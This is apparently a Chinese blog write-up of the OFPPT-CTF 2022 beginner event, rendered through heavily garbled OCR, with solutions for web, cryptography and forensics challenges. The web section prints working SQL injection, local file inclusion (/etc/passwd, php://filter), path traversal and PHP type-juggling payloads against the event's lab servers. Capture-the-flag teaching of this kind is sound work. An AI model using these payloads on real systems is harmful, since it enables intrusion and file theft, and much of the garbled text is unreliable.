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CTHd

Welcome to OFPPT-CTF
Bienvenue a OFPPT-CTF

No real sponsors, a learning event for super beginners. Thank you
community! Honorable mentions: DigitalOcean, CTFd, ctftime,
hackthebox.eu, tryhackme.com and the beloved community.
Please read the rules of the event

Click here toregister to the CTF event, create your team and join the event.

Veuillez lire les regles de l'evenement:

Cliguer ici pour vous enregistrer a I'événement, créer une équipe et rejoindre I'événement.

Réseaux sociaux - Follow us on social media:

on

CSDN @shuk

OFPPT-CTF 2022


https://blog.csdn.net/weixin_46081055
https://blog.csdn.net/weixin_46081055/category_11213260.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/weixin_46081055/article/details/123696739
https://blog.csdn.net/weixin_46081055/category_11213260.html
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Web
Logs

Our apache server is under attack. Thoses are the access logs of the server, can you find out what they are doing?


https://blog.csdn.net/weixin_46081055

FapacheH &

1 IUBOE. | - - LE3 SR SIS “UU] FUST JUYWE OGN T 1ES L 9UE 40€ U/ |60 1003 135 G DYIDTE UG U LAIIUOWS 11 0,3 WU ADIEIVEURIY J3 (50 NFIIVIL, IR \ELRL) LI OIS/ % 11 2a1any 131,30
-0400] "GET php HTTB/1.1" 200 1004 *httpy//192.168.32.134/dwwa/login.php” "Moxzilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Geeko) Chrome/45.0.2454.101 Safari/537.36"
0400] *GET /mutillidae/index.php?page=html5-storage.php HTTR/1.1" 200 9607 *http://192.168.32.13¢/mutilidae/index. php?page=loginphp" "Mozilla/5.0 (Windows NT 6.5; WOW6d) AppleWebKit/537.36 (RHTML, like Gecko) Chrome/d5.0.2454.101 Safari/537.36"

. count+Details" *Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"%
192.168.32.1 - - [29/5ep/2015:03:37:59 -0400] *GET /mutillidac/index.php?page=register.php HTTP/1.1" 200 8921 *http://192.168.32.134/mutilidac/index. php?page=htm|5-storage.php” "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"4
192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET

ilidae/index.php?csrt =CHAR26121%2C +111562C+117%2C +329%2C 4973620+ 114%2C +101%2C4 323620 +111 %20+ 110%2C +32%62€ 4116320 +104%20+1019% 20 +32%2C +114%2 C+105%2C 41035620 + 1045620+ 116% 2 +32962C +116%2C + 114320 +979%2.C +.09%2C +107%298 password =Beconfirm_
password=fmy_signature=8uregister-php-submit-bution=Create +Account HTTP/1.1* 200 8015 *http;//192.168.32; lidae/index.pt .php’ "Mozilla/5.0 (Windows NT 6.3; WOWG4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0,2454,101 Safari/537.36"
192.168.32.1 - - [20/5¢p/2015:03:39:05 -0400] "GET /fdsfdsa HTTP/1.1" 404 501 "-* "Moxzilla/5.0 (Windows NT 6.3; WOWG4) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/45.0.2454.101 Safari/537.36")
192.168.32.1 - - [29/Sep/2015: -0400] "GET illidaefind hi i id |-chall hp HTTP/1.1" 20 7
*http://192.168.32.1 dex.ph info.ph name=%27 +union+all +select+1%2CString fromCharCode 2610252 +108%2C +975:2C +103%2C +329:2C +105%2C +115%2C +323:2C+83%2C +81%2C +760%2C +95%62C+73%2C+110%2C +106%2C +10162C+99%2C +116%:2€ +105%2C+111%2C+110%
29%2C3+--%288ip info-php-sub) i +Details” *Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"4
192.168.32.1 - - [29/Sep 4 -0400] "GET i -info.php HTTP/1.1" 200 8874 "http://192.168.32.1 lient-side-control-challenge.php” "Moxzilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
192.168.32.1 - - [28/Sep/2015:03:40:13 -0400] *GET /mutillidaefindex.phy inf info-php-submi i +Details HTTP/1.1° 200 8344 *httpy//192.168.32.134/mutilid ae/index phpZpage=user-info.php" *Mozila/5.0 (Windows NT 6.3; WOW64)
AppleWebKit/537.36 (KHTML like Gecko) Chrome/45.0.2454.101 Safari/537.36"
192168.32.1 - - [29/5ep/2015:03:40:18 -0400] GET /mutillidas/webservices/soap/ws-hello-werld.php HTTP/1.1* 200 1968 *http://192.168.32.134/mutilidac/index.php?pag infe infa-php-submi i Details” “Mozilla/5.0 (Windows NT 6.3; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36°L
192168321 - - P 40:23 -0400] "GET /mutillidac/index.ph inf fo-php-subr +Details HTTP/1.1" 200 8974
*http://192.168,32,134/mutilidac/ind infe info-php-submi i Details” "Mozilla/5.0 (Windows NT 6.3; WOWG64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.02454.101 Safari/537.36"
192.168.32.1 - - [29/Sep/2015:03:40:25 -0400] "GET i ~inf fo-php-submit +Details HTTP/1.1" 200 8974
“http://192.168.32.1 illidae/inds inf info-php-submil i Details” "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"1
192168.32.1 - - P 40:32 -0400] "GET /dvwaylogin.php HTTP/1.1" 200 986 "http://192.168.32.134/dvwa/login.php" *Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36")
192168.32.1 - - [29/Sep, -0400] "GET /dvwa/d login.css HTTPA.1" 304 210 “http://192,168,32,134/dvwa/legin.php” “Mozilla/5.0 (Windows NT 6.3; WOWE4) AppleWebKit/537.36 (KHTML liks Gecko) Chrome/45.0.2454.101 Safari/537.36")
192.168.32.1 - - [29/Sep :40:32 -0400] "GET /dh ds i login_logo.png HTTP/1.1" 304 188 “http://192.168.32.134/dvwa/login.php* "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36".
192168321 - - P 40:53 -0400] "GET Jchvwa/l youtget+the +lag¥:21 ogin=Lagin HTTP/1.1" 200 986 *http://192.168.32.134/dvwa/login.php" *Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
£ CSDN @shuZx,

BRI LB Hasciifg iy, w UAEIE R 2lflag

//FLAGIS:OFPPT-CTF{L@gs_r2v3413d_SQL_1nj3ctien}

%27+union+all+select+1%2CString.fromCharCode’%2870%2c+76%2Cc+65%2c+71%2c+32%2C+73%2Cc+83%2C+32%2Cc+58%2Cc+32%2c+79%2C
+70%2c+80%2C+80%2C+84%2C+45%2C+67%2C+84%2C+70%2C+123%2C+76%2C+48%2C+103%2C+115%2c+95%2Cc+114%2c+50%2c+118%2c+51%2
C+52%2c+108%2c+51%2c+100%2Cc+95%2c+83%2Cc+81%2C+76%2C+95%2C+49%2Cc+110%2Cc+106%2Cc+51%2c+99%2c+116%2c+49%2c+48%2c+110

%2c+125%29%2C3+--%2B

//youareontherighttrack
CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2

C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29

//102 108 97 103 32 105 115 32 83 81 76 95 73 110 106 101 99 116 105 111 110

//flagisSQL_Injection
%27+union+all+select+1%2CString.fromCharCode’%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+
76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B

easy web

Can you find the flag in this website?

cssH sk

C M A T | 143.198.224.219:42420/static/style.css

body {
background-color: purple;
text—align: center;
dizplay: flex;
align—items: center;
flex—-direction: column;

hl, diwv, a {
/% OFPPT-CTF {w3lcOme_t0_OFFPT-CTF} */
color: white:
font-zize: 3rem;




Simple old-school LFI challenge. | know it's Lame to see this kind of problems in real world now.

But what if we do!

& CTFd X

C A A Fze

@ Bedford x I

143.198.224.219:3333

HOME ABOUT NEWS READ ME TAKE ACTION

Sustainability

STARTS WITH YOU
CGEED

readme )3 75 5l /& LF I H 5

m Hex \n =
GET /pages/page. php?f=../../../../.. /etc/passwd| HTTP/1. 1
Host: 143.198.224.219:3333
Upgrade—Insecure—Requests: 1
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; xé4) AppleWebKit/537.36
(KHTML, |ike Gecko) Chrome/92.0.4515. 107 Safari/537. 36
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp

, image/apng, ¥/%;q=0. 8, app|l ication/signed-exchange;v=b3;g=0. 9
Referer: http://143.198.224.219:3333/

Accept—Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.9

Connection: close

A Frobots.ixt

C R 4O F=ze

User—agent: *

Disallow: /config

Nigallow: /ecommerce/

HE0W Raw Hex Render \n =

1 HTTP/1.1 200 0K
2 Date: Wed, 23 Mar 2022 13:29:20 GMT
3 Server: Apache/2.4.18 (Ubuntu)
4 Vary: Accept—Encoding
5 Content-Length: 1239
6 Connection: close
7 Gontent-Type: text/html; charset=UTF-8
8
9 root:x:0:0:root:/root:/bin/bash
10 daemon:x:1:1:daemon:/usr/sbin: /usr/sbin/nologin
11 bin:x:2:2:bin:/bin:/usr/shin/nologin
12 sys:x:3:3:sys:/dev:/usr/shin/nologin
13 sync:x:4:65534:sync:/bin:/bin/sync
14 games:x:5:60:games: /usr/games: /usr/sbin/nologin
15 man:x:6:12:man: /var/cache/man: /usr/sbin/nologin
16 lp:x:7:7:lp:/var/spool/lpd: /usr/sbin/nologin
17 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
18 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
19 uucp:x:10:10:uucp: /var/spool /uucp: /usr/shin/nologin
20 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
21 www—data:x:33:33:www—data: /var/www: /usr/sbin/nologin
22 backup:x:34:34:backup:/var/backups:/usr/shin/nologin
23 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
24 irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
25 gnats:x:41:41:Gnats Bug—Reporting System (admin):/var/lib/gnats:/usr/
26 nobody : x: 65534 : 65534 :nobody : /nonexistent: /usr/sbin/nologin
27 systemd—timesync:x:100:102:systemd Time Synchronization,,, */fun/syste

143.198.224.219:3333/robots.txt

!



— e b mmmman e

Disallow: /checkout$
Disallow: /checkout/
Disallow: /cart$
Disallow: /cart/
Disallow: /account$
Disallow: /account/
Disallow: /api/
Disallow: /static/
Disallow: /#?author=:*
Disallow: /*&author=:*
Disallow: /#?tag=t
Disallow: /#&tag=t

Disallow: /*?category=t
Disallow: /*&category=#

Disallow: /*?2month=s
Disallow: /*&month=s
Disallow: /*?2view=k

/

Disallow

Disallow

==

/somerandomtext/flag. php

Disallow!

L ULTHIALT JoUILL

Disallow: /*&format=json
Disallow: /*?format=page—context
Disallow: /*&format=page—context
Disallow: /*?format=main—content
Disallow: /*&format=main—content
Disallow: /*?format=json—pretty
Disallow: /*&format=json—pretty
Disallow: /*#?format=ical
Disallow: /*&format=ical
Disallow: /*?reversePaginate=#
Disallow: /*&reversePaginate=#

phpththiltiz—TF

CSDN @shut

/pages/page.php?f=php://filter/convert.base64-encode/resource=../somerandomtext/flag.php

< (@] ) A FZe | 143.198.224.219:3333/pages/page.php?f=php://filter/convert base64-encode/resource=../somerandomtext/fl.. Lo & A 18 L) &

PD9waHAKICAgICRmbGFnIDOglk9GUFBULUNURNt0aDFzXzFzX2FuXzMOc3IfbGYxX2NoNGxsZW5nM30iOwo/Pgo=

O CaptfEncoder & R4 THEN

CaptfEncoder
Search
Base64 Encodig
i 15 e e &
Ascii Encodig

‘Web Encodig

Hex Encodig
Unicode Encodig
Base64 Encodig

Utl Encodig

Html Entity Encodig
Escape Encodig

Quoted-printable

Marca Code (%7 HR B ALY

Home Web ® Url @ Base64 @

Base64 Encoding

Pattern
Base64 v

PD9waHAKICAgICRmbGFnIDOgIk9GUFBULUNURNt0aDFzX
ZFzX2FuXzMO0c3IfbGYxX2NoNGxsZW5nM30i0wo/Pgo=

<?)

7>

Encode Decode

php
Sflag = "OFPPT-CTF{th1s_1s_an_34sy_If1_ch4lleng3}";

CSDN ”J:‘ru_qE



library

| created a file library in my website. | don’t have a lot of files, but take a look to the ones | have!

7% i [F] https://ahmed-belkahla.me/post/csictf2020/?msclkid=7546b593aab011ecb605c6b48f5bdbae

X QR A TZe | 143198224.219:8888 A an 75 #® 3| 1= 2R

=S

Welcome to my File Library!

| use this website to view my favourite js and txt that | have stored on my server!

Here's some you may like to read.

ok.js
a.cpp

My _Favourite Images

payload:

http://143.198.224.219:8888/getFile?file[]=../../&Ffile[]=../../&File[]=../../&Ffile[]=../../&File[]=../../proc/se
1f/cwd/flag.txt&file[ ]=.&file[]=]s

& C A T | 143.198.224.219:8888/getFile?file]]=././&file]=././&file[]=.././&file[]=.././&file[]=.././proc/self/cwd/flag txt&(file]] = &file[l.. A Tg

OFPPT-CTF {5hOuld_5trlnglfy_th3_p4rdms}

Chocolate

My friend is only willing to eat chocolate. Any other food he rejects.

B ~cookie

im) |ePCTFd x | [ oreo x  +

C R A F=e | 143.19822421911111

My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.

Cookie: flavour=Y2hvY29sYXR1



m Cancel || < |v|

Request

Pretty JREI Hex \n =

1 GET / HTTP/1.1

2 Host: 143.198.224,219:11111

3 Cache—Control: max—age=0

4 Upgrade—Insecure—Requests: 1

5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4;

(KHTML, 1ike Gecko) Chrome/92.0.4515.107 Safari/537.36

6 Accept:
text/html, application/xhtml+xml, application/xml;

, image/apng, ¥/%;q=0. 8, app | ication/signed-exchange;v=b3;q=0. 9

7 Accept-Encoding: gzip, deflate

8 Accept-Language: zh—CN, zh;q=0.9

? Cookie: flavour=Y2hvY29sYXRI

0 If-None-Match: W/"14f-17f5bb1e2f8"

1 If-Modified-Since: Sat, 05 Mar 2022 20:07:39 GMT
2 Connection: close

3

4

php

This website is broken; it shows its php source cod

<?php

if (isset($_GET['hash'])) {
if ($_GET['hash'] === "10932435112") {
die('Not so easy mate.');

$hash = shal($_GET['hash']);
$target = shal(10932435112);
if($hash == $target) {
include('flag.php');
print $flag;
} else {
print "OFPPT-CTF{not-the-one}";

)
} else {
show_source(__FILE_ );
)
?>

Response

(Gl Raw Hex Render \n =
1 HTTP/1.1 200 OK

? X-Powered-By: Express

3 Content-Type: text/html; charset=utf-8
4 Content—Length: 40

x64) ApplelebKit/537. 36 5 ETag: W/"28-LobpTvZ+4 jVA4+TIdv+SISj7ma8"

q=0. 9, image/avif, image/webp 8

e. Can you find a way to read the flag.

sha1(10932435112)=0e07766915004133176347055865026311692244

shalin# J5 LLOEFF 3k :
e shai(‘aaroZmOk’)
o shail(‘aaK1STfY’)
e shal1(‘aaO8zKZF’)
e sha1(‘aa3OFF9m’)

6 Date: Wed, 23 Mar 2022 14:08:04 GMT
7 Connection: close

9 OFPPT-CTF {CO0k13s_n33d_ch0c014t3_f14v0r]

CSDN @shuzk



payload:

/?hash=aarozmOk

0 |ar CTFd X [9 143.198.224.219:20000/?hash=a X |

& C m A T&2e | 143.198.224.219:20000/?hash=aaroZmOk

OFPPT-CTF{typ3 juggling 1n php}

CSDN @shuzt

Cryptography

Rome famous general

We received an anonymous encrypted message. Can you help us decrypt this text? LRMMS-PSR{d3x3h_p43g40_p1my30}
it says you have to use a key: cipherkey

fKeyed Caesar

1 | e |

This encoder will let you specify the key word that is used at the beginning of the alphabet and will also let you shift the keyed alphabet around, just like a normal Caesar ¢
cryptogram solver. A simple test to see how this works would be to insert the alphabet into the encoder and then change "Shift" and modify the key.

Shift

The key: [cipherkey | - Show Keymaker

Alphabet Used: CIPHEREYTABDFGTLMNOQSTUVWEE

‘LRM]‘I[S—P 5R{d3x3h_p43qdo_plmy3o}

This is your encoded or decoded text:

OFPPT-CTF {k3v3d_cd3zdr_clph3r}

CSDMN @shiuzk

OFPPT-CTF{k3y3d_c43s4r_clph3r}

Milkshake



4e3255334e5449784d6a45794e54566a4e7a49794e5463314e474d3341444d774e3249315a6a51334e6a497a4d4463794e6a59334e545130
4e47553d

0

BASCIT

0
N2U3SNTIXMjEYNTVjNzIyNTcINGM30DMWN2I1ZjQ3NjIzMDcyNjY3NTQONGU=
0

base64

0
7e752121255c7225754c78307b5F476230726675444e
0

HASCII

{

~ul 1%\r%ulLxe{_GborfuDN

{

ROT47

{

OFPPTCTF{I_LOv3_C7Fs}

ROT47 fRfS: (FH. #HF. ir5)
QFPPICTE {I_LOv3_C7Es!

L

(REE—RIIE RESTXRE)

CSDN @shuz

OFPPT-CTF{I_L@v3_C7Fs}

Transposition

This one includes a transposition:
OFi3FntcP31_P1$sT_o4- nCCl_4TscsF11c{pTRrh44n3s10rpl0O}s



B Fr#&7mrail, Rail fencefEZk T E: www.boxentrig.com/code-breaking/rail-fence-cipher

Rail fence cipher

Encrypt  Decrypt

OFi3FntcP31_P1$sT_o4-_nCCl_4TscsF11lc{_pTRrh44n3sl@rple}s_

Result

OFPPT-CTF{R411_F3nc3_1s_4 Cl4sslc_Tr4ns@p@sitl$on_clph3r}

Rails

3

Offset

o]

CSDN @shuzt

OFPPT-CTF{R411_F3nc3_1s_4 Cl4sslc_Tr4ns@pO@sitig$on_clph3r}

Forensics

Shark



XYL, AREtpR LUARWINIMIRERE 1, B TIFLZ R
SRIG K tep.stream eq 5

N |tcp. stream eq 5

o. Time

= 823 2020-08-10
~ 827 2020-08-10

821 2020-08-10

819 2020-08-10
[ 873 2020-08-10
872 2020-08-10
828 2020-08-10
826 2020-08-10
822 2020-08-10

09:51:46.984972 192.168.38.104
09:51:47.034454 ec2-18-222-37-134.us-east-2... 192.168.38.104 HTTP

Source Destination Protoco. Length Info

ec2-18-222-37-134.us-east-2.. HTTP

501 GET / HTTP/1.1
384 HTTP/1.1 200 OK (text/htn

09:51:46.984622 ec2-18-222-37-134.us-east-2... 192.168.38.104 TCP 66 80 > 64093 [SYN, ACK] Seg-
09:51:46.935313 192.168.38.104 ec2-18-222-37-134.us-east-2.. TCP 66 64093 > 80 [SYN] Seq=0 Wir
09:51:52.038791 192.168.38.104 ec2-18-222-37-134.us-east-2.. TCP 54 64093 > 80 [ACK] Seq=448 !/

M Wireshark - J8E5 HTTP 7 (tcp.stream eq 5) - capture.pcapng - O X [FIN, ACK] Seq-

09:51:
09:51:
09:51:
09:51:

Frame 827: 384 bvtes on|

02
o1
26
o1
30
2c
3a
0070 65
39
2d

30
ElS

fifs — T EpET

3b
72
68
e7
30
20
35
72
20
4d
37

22

HEHE:

YPZZD-MDP{4vgdic

c6
b7

3a
28
6f

20
20

ae
40
fa
00
4b
20
34
41
62
69

75
20

f5

PO110g dr3 cdb34w} v tnys ruG

Q

AN DDA NNOD DN

Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/
*;0=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Mon, 10 Aug 2020 01:51:45 GMT

Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 07 Aug 2020 00:45:02 GMT
ETag: "2f-5ac3eeadfcfol”

Accept-Ranges: bytes

Content-Length: 47

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Gur synt vf }w43bdc_3rd_g0110P_cidgv4{PDM-DZZPY

[ACK] Seq=448 /
[ACK] Seq=1 Ack
[ACK] Seq=1 Ack

5A-DEOB78012FBE

HH 827. 1 FF G HHA, 1 RES HBHA, 1 turn(s). maZEHE.

BAFHE (777 bytes) 7 Show data as ASCII

HHk: ERF—1 W

EN shen@sh3nz: /mnt/c/Users/shen

INEBRE:

HiE:

10

m}

OFPPT-CTF{4lwdys_FO110w_th3_str34m} vl jdoi hkw/

4ic_P@110g_

OFPPT-CTF{41lwdys_F@110w_th3_str34m}

Windows memory dump

A Windows computer has been infected. The attacker managed to exploit a portion of a database backup that contains sensitive

employee and customer private information. All memory dump challenges use the same file.
Inspect the memory dump and tell us the Windows Major Operating System Version, bit version, and the image date/time (UTC, no
spaces or special characters). Submit the flag as OFPPT-CTF{OS_BIT_YYYYMMDDhhmmss}. Example: OFPPT-
CTF{WindowsXP_32 20220120095959} File: 1.5 GB Decompressed: 5 GB

win10 P 7748514 Z F vol3

pcap analysis



We need YOU to help us analyze the packet capture. Look for relevant data to the potential attempted hack. To gather some
information on the victim, investigate the victim’'s computer activity. The “victim” was using a search engine to look up a name. Provide
the name with standard capitalization: OFPPT-CTF{Terry_Stewart}. Download zip SHA1:
b56857289592bc1b66ce59181c86e5ceb56daldf Zip file password: OFPP7C7F NOTE: Next pcap analysis challenges use this PCAP
file.

FEEHK, BEX®EEwWd, M%7 DR, #Hili

M Wireshark . 885 HTTP % (tcp.stream eq 169) - pcap-analysis.pcapng — O >

GET /s? -

::::::E—B&mod=1&isid=belech@@i?Q%la&ie=utF-8&F=8&rSU_bp=1&r5V_idx=1&tn=baidu{wd=%22chaPles%2@geschickte

r#22&Fenlei=2568o0q=mk#%25280ultrafrsv_pg=bel8bcfcB0179f1lalrsv_t=bb29ixBGh*2F88nac pndxVEe URE u
cadvIlglullpGlwi&rglang=cn&rsv_dl=tb&rsv_enter=1&rsv_btype=t&inputT=3467&rsv_sug3=31&rsv_sugl=4&rsv s

ug/7=1808&rsv_sug2=0&prefixsug=%2526quot¥253Bcharles®2528geschickter®2526quot®253B&rsp=0&rsv_sugd=41868&bs=

mki%28ultra&rsy_sid=34436_34378 344683 33848 34972 34092 34458 26350 34415 34398& ss=1&clist=8da76052f44cf

3df&hsug=&fds=18csor=21& crl=44787 HTTP/1.1

Host: www.baidu.com

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:78.8) Gecko/20180101 Firefox/78.8

Accept: */*

Accept-Language: en-US,en;q=@8.5

Accept-Enceding: gzip, deflate

Referer: http://www.baidu.com/s?

ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baiduBwd=%22charles%2@geschickter#22&fenlei=256&o0g=mk%2528ultradrsv_p

q=bel8bcfc@8179f1alrsv_t=bb29ixBGh%2F88nacQt4DhHpndxVEeB]36buRs565uW2RRSLcadv]glwlpGlwirglang=cn&rsv_dl=

tbé&rsv_enter=1&rsv_btype=t&inputT=3467&rsv_sug3=31&rsv_sugl=4&rsv_sug/=188&rsv_sugl=0&prefixsug=%2526guo

t#%253Bcharles%2528geschickterf2526quot#253B&rsp=0&rsv_sugd=4186

is_referer: http://www.baidu.com/s?

ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidufwd=mk#%20ultra&fenlei=256&rsv_pqg=82e75c0ed@dlcllc2&rsv_t=711251t6

SFwdXZ4L 2vucvdaS5rifiMxjzckiVABILvO%2F4150Pj%2B015Y L jvg&rgqlang=cn&rsv_dl=ib&rsv_sug3=8&rsv_enter=1&rsv_s

ugl=28&rsv_sug/=181

is_xhr: 1

A mnhe s mb% 0T F 0 L*]
4 #ETE 48, 3 FHEE 45, 6 turn(s)

Bp-phE (121 kB) ~ Show dats as |ASCII hs
B [=d | BwHF—1

5 E 7 Clos | _Help -
fize i $IEN BIFA IEE EEO @-’-Jrrlir;r—__

OFPPT-CTF{charles_geschickter}

XEAIANZEFEFIP: 192.168.100.106
Bt #IP: 192.168.100.103

pcap analysis 2

After hacking the victim’'s computer, the attacker downloaded several files, including two binaries with identical names, but with different
extensions: .exe and .bin (a Windows binary and a Linux binary, respectively).

What are the MD5 hashes of the two tool programs? Submit both hashes as the flag, separated by a ‘[': OFPPT-CTF{ExeMD5|BinMD5}
Use the PCAP file from ‘pcap analysis’ challenge.



retr&ftpf T Wy <, MIERARXFHA

firesharl - 1) » pcap-ana

A

i (tcp.stream eq 7 ysis.pcapng

558 Access is denied.
PASY

227 Enterin 92,168,100,103,193,241).

125 Data connd
226 Transfer complete.

PASV

227 Entering Passive Mode (192,168,100,183,193,242).
RETR /TOOLS/zlib.d11l

125 Data connection already open; Transfer starting.
226 Transfer complete.

PASV

227 Entering

open; Transfer starting.

92,168,100,103,193,243).

125 Data conne
226 Transfer complete.

PASV

227 Entering Passive Mode (192,168,100,1@3,193,244).
RETR /TOOLS/secret decoder.bin
125 Data connection already open;
226 Transfer complete.

open; Transfer starting.

Transfer starting.

82 &M £, 116 BEE A48, 1624 turnis).

CSDMN-@shusk—

W AR S Htopdit, EEIRGHAR, HE R

RETR /TOOLS/lytton-crypt.bin

... 2021-88-23 .3228072.. 192.

Destination Protoco. Lenth Info

TCP 66 43432 > 49649 [ACK] Seg=1 e =23

238 TSecr=3354304

RETR /TOOLS/lytton-crypt.exe

160.. 2021-68-23 06:53:38.3232321.. 192.168.160.163 192.168.100.106 FTP-.. 5858 FTP Data: 5792 bytes (PASK) (RETR /TOOLS/lytton-crypt.bin)
160.. 2021-68-23 06:53:38.3232369.. 192.168.100.106 192.168.100.103 TP 66 43432 + 49649 [ACK] Seq-1vmer= TTTTOTT-TET=yTSTRT=RTEt 225238 TSecr-3354385
160.. 2021-68-23 06:53:38.3233104.. 192.168.100.103 192.168.100.106 FTP-. 11650 FTP Data: 11584 bytes (PASV) (RETR /TOOLS/lytton-crypt.bin)
160.. 2021-68-23 @6:53:38.3233157.. 192.168.100.166 192.168.100.103 TP 66 43432 > 49649 [ACK] Seq=1 Ack=17377 Win=59808 Len=@ TSval=4186225239 TSecr=3354305
.. 2021-08-23 .3233700.. 192. FTP-.. 14466 FTP Data: 14400 bytes (PASV) (RETR /TOOLS/lytton-crypt.bin)
.. 2021-08-23 .3233773.. : 86225239 TSecr=3354305
cpistream eq 73221) - peap-analysis.pcapng - o
.. 2021-08-23 -3236900.. [ B G bty Lophnonca | 1354305 Tsecr—4186225239
dse. 18 18 18 1c000000
1c 1
80f 36+ 1 160000
2 2 1
Length: 10 d il i a g0
Timestamp value: 3354305 [ o
Timestamp echo reply: 4186225238 5
~ [Timestamps] 3 S 3e57464
[Time since first frame in this TCP stream: .8005160 5 5
[Time since previous frame in this TCP stream: ©.00@42 |5@e5 1
v [SEQ/ACK analysis] 1e5
[4RTT: ©.000091131 seconds] 1 <
[Bytes in flight: 5792] 0000000001000000000000002 16 696236342 F6c642d6c69675782d7838362d36342e7362e32000000000004000000 10000000
[Bytes sent since last PSH flag: 5792] 1. 4e550080729e11d9392e169bebdl
TCP payload (5792 bytes) 722764F69F1d83c 1000000474
pay v 8 210080011c8. c 1dBc1cd165ce6d6655611039F28b1c32¢4F712b3a2712
FTP Data (5792 bytes data) Seooon
Setup frame: 168292 520060001 1
[Setup method: PASV] 0060001 0000012000000
[Command: RETR /TOOLS/lytton-crypt.bin] 2
0 &S £E, 3 FEE FE, 0 rurnis.
0040 ba 56 7 45 4c 46 62 01 61 60 @0 00 08 00 00 00 SE (01 k8 <] Show dacoles |FEEHE
0050 0 69 03 00 3e 60 @1 00 60 60 cO 19 08 00 00 09 X -
0050 0 B9 40 00 60 60 60 00 60 66 50 74 08 00 00 09 - | | EfT—t®
0070 00 00 0O 00 60 60 40 00 38 60 8d 00 48 00 1f 00 T
E: i El Close Hel
2059 le 09 06 00 00 00 04 0@ 00 00 40 0@ 00 00 00 @0 st || am | s | ‘ I 2|
9090 0 00 40 00 60 60 00 00 60 60 40 00 08 00 00 09
0020 0@ 09 d8 02 60 60 60 00 00 00 d8 02 08 00 00 09
2000 0@ B9 08 00 60 6O 60 00 00 00 63 00 00 00 04 00
200 80 69 18 03 60 60 60 00 60 60 18 03 08 00 00 00
0040 0@ 00 18 03 60 60 G0 60 60 60 lc 60 08 00 00 00
0020 0@ 09 1c 00 00 60 @0 00 00 00 @1 00 00 00 00 09
000 0@ 00 @1 00 60 60 04 00 60 6O 0O 00 08 00 00 00 CSDN @shuse
Q100 A AR A0 AR AR AA AR AN AA AA AR AR AR AR AR A



W [tcp. strean eq 73223

Fo. Source

Time

Destination Protoco. Length Info

. .. 192.168.100.106 192.168.100.103 TCP 66 33566 + 49651 [ACK] Seq=1 Ack=1 Win=64256 Len=B TSval-4186225242 TSecr=3354309
160.. 2021-08-23 06: . 192.168.100.103 192.168.100.106 FTP-.. 5858 FTP Data: 5792 bytes (PASV) (RETR /TOOLS/lytton-crypt.exe)
168.. 2021-88-23 06: .. 192.168.100.106 192.168.100.103 TCP 66 33566 > 49651 [ACK] Seq=1 Ack=5793 Win=61856 Len=@ TSval-2186225242 TSecr=3354389
16.. 2021-88-23 06:53:38.3271669.. 192.168.100.103 192.168.100.106 FTP-.. 11650 FTP Data: 11584 bytes (PASV) (RETR /TOOLS/lytton-crypt.exe)
168.. 2021-88-23 06:53:38.3271718.. 192.168.100.106 192.168. 101 ZcP 66 33566 > 49651 [ACK] Seq=1 Ack=17377 Win=59088 Len=B TSval=4186225242 TSecr=3354309
160.. 2021-88-23 06:53:38.3272207... 192.168.100.103 Ml VWireshark -5 cp¥&c tream eq 73223) Imp.m|y5;5,mpng - o x
